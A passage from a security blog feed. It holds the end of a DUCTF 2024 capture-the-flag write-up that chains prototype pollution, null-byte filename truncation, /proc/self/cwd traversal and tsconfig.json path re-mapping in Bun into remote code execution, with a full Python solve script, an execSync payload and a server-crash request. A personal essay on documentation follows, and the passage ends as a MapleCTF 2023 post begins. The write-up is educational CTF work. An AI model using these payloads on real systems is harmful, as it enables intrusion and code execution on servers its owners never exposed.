</span></span><span style="display:flex;"><span>];
</span></span></code></pre></div><p>Then, Bun runtime will create a &ldquo;file&rdquo; object to perform file I/O stuff on, and the app checks if the file object points to something that already exists. This barricades us from doing too much directory traversal with <code>outputPrefix</code>, because we can&rsquo;t use any words in <code>BANNED_STRINGS</code> and we also can&rsquo;t overwrite some other file. I also didn&rsquo;t really touch on the fact that the file has a bunch of random characters appended to it, and finally, the filetype <code>.yaml</code> added as well, so we can only ever define yaml files, anyway. This situation seems like a good case for null-byte termination.
Luckily for us, <code>Bun.file()</code> will seemingly(?) not notice the nullbyte, so something like <code>viewie.txt\00&lt;randomcharacters&gt;.yaml</code> will <em>look like</em>  <code>viewie.txt\00&lt;randomcharacters&gt;.yaml</code>. But when <code>Bun.write()</code> is called, something like <code>viewie.txt\00&lt;randomcharacters&gt;.yaml</code> is instead seen as <code>viewie.txt</code> as the write operation implicitly terminates at the null byte. I may be wrong on who&rsquo;s recognizing the nullbyte, but the point is, we can inject a nullbyte into our <code>outputPrefix</code> to remove the <code>&lt;randomcharacters&gt;.yaml</code> suffix to the filename, <em>AND</em> bypass the <code>existsSync</code> check so we can overwrite important files, and they can be of any extension (not just yaml).</p>
<p>So what about the <code>BANNED_STRINGS</code> list?</p>
<h3 id="unfortunately-tsconfigjson-isnt-real-json">&ldquo;Unfortunately, tsconfig.json isn&rsquo;t real JSON&rdquo;</h3>
<p>So, to recap:</p>
<ol>
<li>We can add arbitrary properties to a JSON and include a <code>__proto__</code> key which contains <code>outputPrefix</code>.</li>
<li>You can make <code>outputPrefix</code> navigate to any file and overwrite it, and you just need to add a null byte to cancel out the random garbage appended to it.</li>
</ol>
<p>So we have the ability to write to any writable directory in the app. The final few caveats are the fact that while we control the filename and write to anywhere, remember the contents are JSON that has been YAML-ified. So even if we rename our file to <code>somethingelse.js</code>, the file contents will still be a YAML file of prisoner data, NOT js.</p>
<p>Looking at the <code>BANNED_WORDS</code> list and cross-referencing with the directory structure of the challenge, we can&rsquo;t really go anywhere except for the files in green.</p>

    <img src="/images/DUCTF24_directory.png"  alt="Directory"  class="center"  style="border-radius: 8px;"  />


<p>Actually just kidding, all those files are in <code>/app</code>, which is part of the <code>BANNED_WORDS</code> list. Shame.</p>
<p>Good thing that <code>proc/self/cwd</code> is a symlink to <code>/app</code>.</p>

    <img src="/images/DUCTF24_procselfcwd.png"  alt="tsconfig.json isn&#39;t real json"  class="center"  style="border-radius: 8px;"  />


<p>Minor tangent aside, the only remotely interesting file in there to use, is <code>tsconfig.json</code>. Right now, it doesn&rsquo;t have much to it. But when looking through the documentation for it, we came across an interesting property, <a href="https://bun.sh/docs/runtime/modules#path-re-mapping">path re-mapping</a>:</p>
<blockquote>
<p>the Bun runtime will re-map import paths according to the compilerOptions.paths field in tsconfig.json.</p>
</blockquote>
<p>More specifically, according to the official TypeScript <a href="https://www.typescriptlang.org/tsconfig/#paths">documentation</a>:</p>
<blockquote>
<p>A series of entries which re-map imports to lookup locations relative to the baseUrl if set, or to the tsconfig file itself otherwise. There is a larger coverage of paths in the moduleResolution reference page.
paths lets you declare how TypeScript should resolve an import in your require/imports.</p>
</blockquote>
<p>Any <code>require</code> or <code>import</code> in your typescript will be affected by this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#75715e">//example tsconfig.json
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;compilerOptions&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;paths&#34;</span>: {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;jquery&#34;</span>: [<span style="color:#e6db74">&#34;./vendor/jquery/dist/jquery&#34;</span>]
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Then, <code>import 'jquery'</code> in your TS file will make the runtime look for the <code>jquery</code> module in <code>./vendor/jquery/dist/jquery</code>. We can freely overwrite this file and have it applied when the <em>app crashes</em>. Remember the start.sh script? It will attempt to restart the app if it detects a crash, and when Bun restarts, it will look for a <code>tsconfig.json</code> to apply. If we modify the <code>tsconfig.json</code> to include this property, we can basically tell Bun what code to run for certain imports, allowing us arbitrary code exec this way.</p>
<p>If we were to use path re-mapping, what would be a good candidate to re-map? Our first answer to this was the <code>yaml</code> library, as while it&rsquo;s used in the app to YAML-ify the JSON data, ther are no other use cases in the app for YAML to be parsed, loaded, etc etc. So, the re-mapping candidate for us will be <code>yaml</code>. When Bun comes across the <code>import { stringify } from 'yaml';</code> line in index.ts, the <code>tsconfig.json</code> will tell Bun to look to where we tell it to go instead.</p>
<p>So, gathering all our bugs, if we can make the filename <code>tsconfig.json\00&lt;randomcharacters&gt;.yaml</code>, it will resolve to and overwrite <code>tsconfig.json</code>. Wait, our file is still YAML. So when Bun attempts to read the JSON, it will error out! <code>tsconfig.json</code> needs to be valid JSON after all, right?</p>
<p><a href="https://github.com/oven-sh/bun/blob/bbc621adff90d8786f2dab4415ba0d2bf97a5006/src/resolver/tsconfig_json.zig#L109">Right?</a></p>

    <img src="/images/DUCTF24_validjson.png"  alt="tsconfig.json isn&#39;t real json"  class="center"  style="border-radius: 8px;"  />


<p>I&rsquo;ll spare the details of how we tried to find all the weird and interesting properties that <code>tsconfig.json</code> will allow for, and how the compiler will parse it.</p>
<p>Here are some things that make it different from regular JSON:</p>
<ol>
<li>It can support comment syntax like <code>/**/</code> which technically shouldn&rsquo;t be allowed in JSON formats.</li>
<li>Yaml allows <code>//</code> to be used as a key and naturally, Bun will ignore whatever comes after it</li>
<li>You can give it a valid JSON structure, then invalid JSON, and the compiler won&rsquo;t complain.</li>
</ol>
<p>Anyway, the following &ldquo;JSON&rdquo; is a valid, readable and parsable <code>tsconfig.json</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#75715e">//: |-
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  {<span style="color:#f92672">&#34;compilerOptions&#34;</span>:{<span style="color:#f92672">&#34;paths&#34;</span>:{<span style="color:#f92672">&#34;yaml&#34;</span>:[<span style="color:#e6db74">&#34;./examples/jeff.json&#34;</span>]}}}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.name:</span> <span style="color:#960050;background-color:#1e0010">jeff</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.animalType:</span> <span style="color:#960050;background-color:#1e0010">emu</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.age:</span> <span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.crime:</span> <span style="color:#960050;background-color:#1e0010">assault</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.description:</span> <span style="color:#960050;background-color:#1e0010">clotheslined</span> <span style="color:#960050;background-color:#1e0010">someone</span> <span style="color:#960050;background-color:#1e0010">with</span> <span style="color:#960050;background-color:#1e0010">their</span> <span style="color:#960050;background-color:#1e0010">neck</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.start:</span> <span style="color:#ae81ff">2024-03-02</span><span style="color:#960050;background-color:#1e0010">T</span><span style="color:#ae81ff">10</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">45</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">01</span><span style="color:#960050;background-color:#1e0010">Z</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.release:</span> <span style="color:#ae81ff">2054-03-02</span><span style="color:#960050;background-color:#1e0010">T</span><span style="color:#ae81ff">10</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">45</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">01</span><span style="color:#960050;background-color:#1e0010">Z</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">signed.__proto__:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">outputPrefix:</span> <span style="color:#e6db74">&#34;../../../../proc/self/cwd/tsconfig.json\0&#34;</span>
</span></span></code></pre></div><p>We can finally combine all of this into the final solve.</p>
<h2 id="solve">SOLVE</h2>
<ol>
<li>Copy an example prisoner JSON file and add your tsconfig path re-mapping:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#e6db74">&#34;//&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;\n{\&#34;compilerOptions\&#34;:{\&#34;paths\&#34;:{\&#34;yaml\&#34;:[\&#34;./examples/julia.js\&#34;]}}}&#34;</span><span style="color:#960050;background-color:#1e0010">,</span>
</span></span></code></pre></div><p>Which will be valid <code>tsconfig.json</code>. We put our js file into the examples folder simply cause it&rsquo;s an rwx folder. Then add:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.__proto__&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;outputPrefix&#34;</span>:<span style="color:#960050;background-color:#1e0010">&#34;../../../../proc/self/cwd/tsconfig.json\u</span><span style="color:#ae81ff">0000</span>
</span></span><span style="display:flex;"><span>        }
</span></span></code></pre></div><p>The nullbyte to remove the <code>&lt;randomcharacters&gt;.yaml</code> filename, the directory traversal and <code>proc/self/cwd</code> to get the symlink to <code>/app</code> and bypass the BANNED_WORDS list.</p>
<ol start="2">
<li>
<p>Make a javascript file and yeet into <code>/examples</code> for RCE (exec getflag and whatever)</p>
</li>
<li>
<p>Crash the app (we did this by trying to write to <code>proc/self/mem</code>) to force a restart and have our overwritten <code>tsconfig.json</code> apply to the app</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REMOTE <span style="color:#f92672">=</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> REMOTE:
</span></span><span style="display:flex;"><span>    host <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://web-prisoner-processor-c8d94eb745951d8e.2024.ductf.dev&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>    host <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://localhost:1337&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 0. get signature</span>
</span></span><span style="display:flex;"><span>sig <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(host <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;/examples&#34;</span>)<span style="color:#f92672">.</span>json()[<span style="color:#e6db74">&#34;examples&#34;</span>][<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#34;signature&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 1. overwrite tsconfig.json</span>
</span></span><span style="display:flex;"><span>requests<span style="color:#f92672">.</span>post(host<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/convert-to-yaml&#34;</span>, json<span style="color:#f92672">=</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;data&#34;</span>: {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;//&#34;</span>: <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">{</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">compilerOptions</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">:{</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">paths</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">:{</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">yaml</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">:[</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">./examples/julia.js</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">]}}}&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.name&#34;</span>:<span style="color:#e6db74">&#34;jeff&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.animalType&#34;</span>:<span style="color:#e6db74">&#34;emu&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.age&#34;</span>:<span style="color:#ae81ff">12</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.crime&#34;</span>:<span style="color:#e6db74">&#34;assault&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.description&#34;</span>:<span style="color:#e6db74">&#34;clotheslined someone with their neck&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.start&#34;</span>:<span style="color:#e6db74">&#34;2024-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.release&#34;</span>:<span style="color:#e6db74">&#34;2054-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Object.entries ignores this but for ... in won&#39;t</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.__proto__&#34;</span>: {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;outputPrefix&#34;</span>:<span style="color:#e6db74">&#34;../../../../proc/self/cwd/tsconfig.json</span><span style="color:#ae81ff">\u0000</span><span style="color:#e6db74">&#34;</span> <span style="color:#75715e">#nullbyte to make our own files</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;signature&#34;</span>: sig
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2. write rce to examples/julia.js</span>
</span></span><span style="display:flex;"><span>requests<span style="color:#f92672">.</span>post(host<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/convert-to-yaml&#34;</span>, json<span style="color:#f92672">=</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;data&#34;</span>: {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;//&#34;</span>: <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">var dog = &#39;sed -i &#34;s/signed/$(/bin/getflag)/g&#34; /app/examples/jeff.json&#39;;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">require(&#34;child_process&#34;).execSync(dog);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">exports.stringify = function(dawg) {return dawg;}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">/*&#34;&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.name&#34;</span>:<span style="color:#e6db74">&#34;jeff&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.animalType&#34;</span>:<span style="color:#e6db74">&#34;emu&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.age&#34;</span>:<span style="color:#ae81ff">12</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.crime&#34;</span>:<span style="color:#e6db74">&#34;assault&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.description&#34;</span>:<span style="color:#e6db74">&#34;clotheslined someone with their neck&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.start&#34;</span>:<span style="color:#e6db74">&#34;2024-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.release&#34;</span>:<span style="color:#e6db74">&#34;2054-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signed.__proto__&#34;</span>: {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;outputPrefix&#34;</span>:<span style="color:#e6db74">&#34;../../../../proc/self/cwd/examples/julia.js</span><span style="color:#ae81ff">\u0000</span><span style="color:#e6db74"> */ //&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;signature&#34;</span>: sig
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3. crash</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>    requests<span style="color:#f92672">.</span>post(host<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/convert-to-yaml&#34;</span>, json<span style="color:#f92672">=</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;data&#34;</span>: {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.name&#34;</span>:<span style="color:#e6db74">&#34;jeff&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.animalType&#34;</span>:<span style="color:#e6db74">&#34;emu&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.age&#34;</span>:<span style="color:#ae81ff">12</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.crime&#34;</span>:<span style="color:#e6db74">&#34;assault&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.description&#34;</span>:<span style="color:#e6db74">&#34;clotheslined someone with their neck&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.start&#34;</span>:<span style="color:#e6db74">&#34;2024-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.release&#34;</span>:<span style="color:#e6db74">&#34;2054-03-02T10:45:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;signed.__proto__&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;outputPrefix&#34;</span>:<span style="color:#e6db74">&#34;../../../../proc/self/mem&#34;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;signature&#34;</span>: sig
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">except</span> requests<span style="color:#f92672">.</span>exceptions<span style="color:#f92672">.</span>ConnectionError:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">pass</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 4. get flag (assuming server takes &lt;5 seconds to come back up)</span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;waiting...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;flag:&#34;</span>, list(requests<span style="color:#f92672">.</span>get(host <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;/examples&#34;</span>)<span style="color:#f92672">.</span>json()[<span style="color:#e6db74">&#34;examples&#34;</span>][<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#34;data&#34;</span>]<span style="color:#f92672">.</span>keys())[<span style="color:#ae81ff">0</span>][:<span style="color:#f92672">-</span>len(<span style="color:#e6db74">&#34;.name&#34;</span>)])
</span></span></code></pre></div><p><code>flag: DUCTF{bUnBuNbUNbVN_hOn0_tH15_aPp_i5_d0n3!!!one1!!!!}</code></p>
]]></content>
        </item>
        
        <item>
            <title>A case for documentation</title>
            <link>https://jamvie.net/posts/2024/01/a-case-for-documentation/</link>
            <pubDate>Sat, 06 Jan 2024 22:23:05 -0500</pubDate>
            
            <guid>https://jamvie.net/posts/2024/01/a-case-for-documentation/</guid>
            <description>I am aware that the main target audience of my tiny blog are CTF players looking for my writeups and other like-minded security researchers exploring topics I like. But my 2024 resolution was to relive and unite my artistic persona that I spent most of my teen years curating, and marrying that to the security career life I live now. Part of my fine arts training involved a good deal of literature.</description>
            <content type="html"><![CDATA[<p><em>I am aware that the main target audience of my tiny blog are CTF players looking for my writeups and other like-minded security researchers exploring topics I like. But my 2024 resolution was to relive and unite my artistic persona that I spent most of my teen years curating, and marrying that to the security career life I live now. Part of my fine arts training involved a good deal of literature. I wanted to write some random stuff really badly, and this post came out of that desire, I understand it&rsquo;s out of left field especially given the content of my other work here. If people like this I&rsquo;d be happy to intersperse more of this into my usual stuff of writeups and security research.</em></p>
<h2 id="leaving-behind-a-paper-trail-makes-it-easy-to-backtrack-and-review">Leaving behind a paper trail makes it easy to backtrack and review!</h2>
<p>When you have documentation in your projects, if you make a mistake - you can easily review what went wrong by referring to the notes you&rsquo;ve made. This makes it easy to backtrack and come up with a solution to fix mistakes if they come, improving developer experience!</p>
<p>In Canadian grade school, I was a stereotypical art kid and spent a good amount of time during any creative projects in class going <em>all in</em>. There was an artistic project that required us to recreate a scene from a book we were reading, and I happened to doodle some sketches related to the scene I wanted to draw.</p>
<p>Another kid saw those sketches and complemented me. I said thank you. I asked for permission to go to the bathroom and when I came back, one of those sketches were missing - the kid that complemented me put it into their own work, passing it off as theirs. They were getting compliments about it, about my work, on <em>their project</em>.</p>
<p><em>how dare they how dare they how dare they how dare they</em>. I spent the next couple hours of that class angrily writing my name onto every sketch that I made. I went to the bathroom again to cry out of frustration.</p>
<p>Was this what it meant to work hard in the vicinity of others who didn&rsquo;t? Did it matter if you were passionate, if someone thought of you so beneath them that your work was up for grabs? And who would contest them? Who would challenge them? If not for me realizing their blatant attempt to disregard me in my own work, would anyone really notice? I was awkward and quiet. No one would advocate for me. At 9, I had this adorable spiral into an existential crisis of understanding.</p>
<p><em>I learned about attribution that day in a sad way. Artists, and plenty other people in different disciplines get their work stolen alot more frequently than one would think. There&rsquo;s a soul-crushing and disheartening nature to the sad realization that all the hard work you put in your projects, things you&rsquo;re passionate about, has been taken advantage of. A genuine lack of respect for that effort. I needed to document my ownership of my work. I needed documentation for attribution.</em></p>
<h2 id="sometimes-the-answer-was-covered-in-something-you-documented-hidden-in-plain-sight">Sometimes the answer was covered in something you documented, hidden in plain-sight!</h2>
<p>Have you ever answered a question or found a solution to recurring problem, only to come across that problem again and searched frantically for your previous work on it? If you document your projects, it streamlines this process immensely!</p>
<p>&hellip;</p>
<p>When I was a kid, I grew up playing videogames. I had a Sony Playstation, the very first generation, and a small CRT that I played on. I played Spyro: Year of The Dragon, extensively. I remember struggling in the tutorial level, when the cheetah character Hunter was teaching you how to hover in order to reach unique areas in the low-poly maps. After grade school would end for the day I would play and eventually figure out how to quickly mash the correct button to hover mid-flight as Spyro, allowing me to progress into the game. I remember being so elated that I drew a doodle of the dragon to celebrate. What I should&rsquo;ve done was, maybe, write down the correct button combo to easily achieve the hover, or something, as whenever I would return to the game I would constantly forget how to perform that mechanic and I&rsquo;d lose game hours over it. I looked over to my drawing. A simple Spyro-lookalike with my name, in big - result of my existential crisis from last situation - scribbled under his wing. I didn&rsquo;t have instructions.</p>
<p><em>I have a good memory. It has served me well all throughout academia. But I can&rsquo;t remember everything. No one can. Sometimes, for CTF challenges, I&rsquo;ll forget snippets of code and payloads that would work in other scenarios. I needed some sort of repository to remember these snippets for me. If you ever wrote down the cheat codes to GTA San Andreas on a piece of paper beside your console, you will know what I mean. I needed to document my shortcuts. I can&rsquo;t remember them all.</em></p>
<h2 id="documentation-is-paying-it-forward---other-people-looking-at-your-work-will-be-able-to-pick-it-up-easily-where-you-left-off">Documentation is paying it forward - other people looking at your work will be able to pick it up easily where you left off.</h2>
<p>This is especially the case for open-source, where projects are a collaborative effort! If you want to ensure the longevity of your projects, it is good to have documentation so others can easily figure out what your project is about, how it works, and can pick up on ta-</p>
<p>I remember before moving to the States to start my big girl job, staying at my parents house and my mom helping me clean out some of my things. In the basement, my old Playstation One sat in a corner of a wall tangent to the stairs, placed on top of a box. It was still connected to the CRT. I plugged the TV and Playstation onto power, popped open the lid, and saw that the decades old Spyro game was still in the compartment. I closed the disk lid and powered the PS one on. The TV flickered, a brief flash of yellow and blue and red, and the very familiar orange diamond of the Playstation One startup screen appeared. It was glitchy, and faded - the cathode ray tubes were <em>old</em> old, after all - but the logo flickered, and my excited self took the controller in hand. But all it did was flicker - once, twice, then black. I stared at my reflection in the TV, expressionless. Too much time has passed. Either there was an issue with the TV or an issue with the Playstation. I wasn&rsquo;t an expert in either to figure out what went wrong. I placed the controller back on the floor and got up to continue packing.</p>
<hr>
<p>&ldquo;Didnt the Spyro games get remade? In 2018?&rdquo; My friend told me, over lunch one day. &ldquo;Yea, but it&rsquo;s not enough.&rdquo; I replied.</p>
<p>A: &ldquo;How so?&rdquo;</p>
<p>V: &ldquo;I&rsquo;m not sure how to describe it. It just <em>is</em>.&rdquo;</p>
<p>A: &ldquo;Appropriately vague.&rdquo;</p>
<p>V: &ldquo;I know. I just want to play the original game again.&rdquo;</p>
<p>A: &ldquo;What about emulation?&rdquo;</p>
<p>V: &ldquo;I&rsquo;ve tried a bunch. None worked super well for me. Idk, maybe I was using them wrong. The instructions and official guides are vague. I need an actual FAQ, or list of instructions, idk, <em>something</em>, some actual documentation.&rdquo;</p>
<h2 id="documentation-makes-you-a-better-developer">Documentation makes you a better developer.</h2>
<p>I played in a CTF sometime in April of 2020 where I didn&rsquo;t solve the challenge during the competition. At this point, I was about 4 months into the scene so I was well aware of how things worked and just waited around for a writeup to appear. I waited for a bit, until <em>one</em> - eventually - appeared. Happy, I took a read through it. It was written in Chinese, which wasn&rsquo;t an issue, Google Translate is a thing, and the writeup was <strong>amazing</strong> and <strong>informative</strong> and <strong>incredible</strong> and I didn&rsquo;t get it at all. It assumed pre-requisite knowledge of other contexts before explaining the main point of the bug. Things that were probably really obvious to seasoned CTF players, but a complete fucking alien language to me at that time. The writeup didn&rsquo;t commit a sin. I, plainly, just didn&rsquo;t understand its concepts (Chinese notwithstanding). It frustrated me to no end. I sunk hours, of essentially wasted time, into it. Now that a writeup is available, it&rsquo;s literally <em>too fucking smart for me to get??</em></p>
<p>I spent the following next couple of days playing with the challenge locally. Relentlessly poking and prodding at it. Adding print statements everywhere. Deleting chunks of code and re-adding them to see what would happen. Copy-pasting documentation of certain areas in the comments so I could refer to it. I solved it days later. I wrote my own writeup for it, a personal one that I haven&rsquo;t shared, that explains the concepts like I&rsquo;m 5. I thank the original author of the first writeup I saw. I created another one to catch me up to speed if I ever forgot the basics again.</p>
<p>Later, I researched. Blogs of security researchers that I was inspired by, news articles, other writeups of other challenges. I compiled their links. Prettified them and slapped them into my Notion. Created a database of Things. I told myself I would learn faster than what my anxieties were holding against me. I didn&rsquo;t allow myself the opportunity to be confused.</p>
<p>When I was finished, I played some God of War (2018) to unwind. I noticed that the Spyro remake was on sale in the Playstation store.</p>
<p>I ended up playing. It was a package of the 3 original Spyro games of the late 90&rsquo;s to early 2000&rsquo;s. I sat down one evening and powered on the Playstation 4. Navigated to the game on the dashboard. I re-learned how to hover.</p>
<p>This time, I wrote it down.</p>
]]></content>
        </item>
        
        <item>
            <title>MAPLECTF 2023: JUJUTSU KAISEN</title>
            <link>https://jamvie.net/posts/2023/10/maplectf-2023-jujutsu-kaisen/</link>
            <pubDate>Tue, 10 Oct 2023 19:53:16 +0800</pubDate>
            
            <guid>https://jamvie.net/posts/2023/10/maplectf-2023-jujutsu-kaisen/</guid>
            <description>MapleCTF&amp;rsquo;s 2nd annual CTF was held at the same time as Hackceler8 preparation week, so for a brief couple of days in Japan I was busy helping organize 2 ctfs at once, which I don&amp;rsquo;t recommend.
This year, I decided to spice things up with my chals, my vie chals, by incorporating a fun prize for whichever team manages to solve all of my challenges.I had 3 challenges: JaVieScript, Blade Runner, and Jujutsu Kaisen.</description>
            <content type="html"><![CDATA[<p>MapleCTF&rsquo;s 2nd annual CTF was held at the same time as Hackceler8 preparation week, so for a brief couple of days in Japan I was busy helping organize 2 ctfs at once, which <em>I don&rsquo;t recommend</em>.</p>
<p>This year, I decided to spice things up with my chals, my vie chals, by incorporating a fun prize for whichever team manages to solve all of my challenges.I had 3 challenges: JaVieScript, Blade Runner, and Jujutsu Kaisen. The first 2 I won&rsquo;t detail writeups as they&rsquo;re beginner-friendly and there already exist plenty of writeups for them. The latter one I will detail an author writeup for.</p>
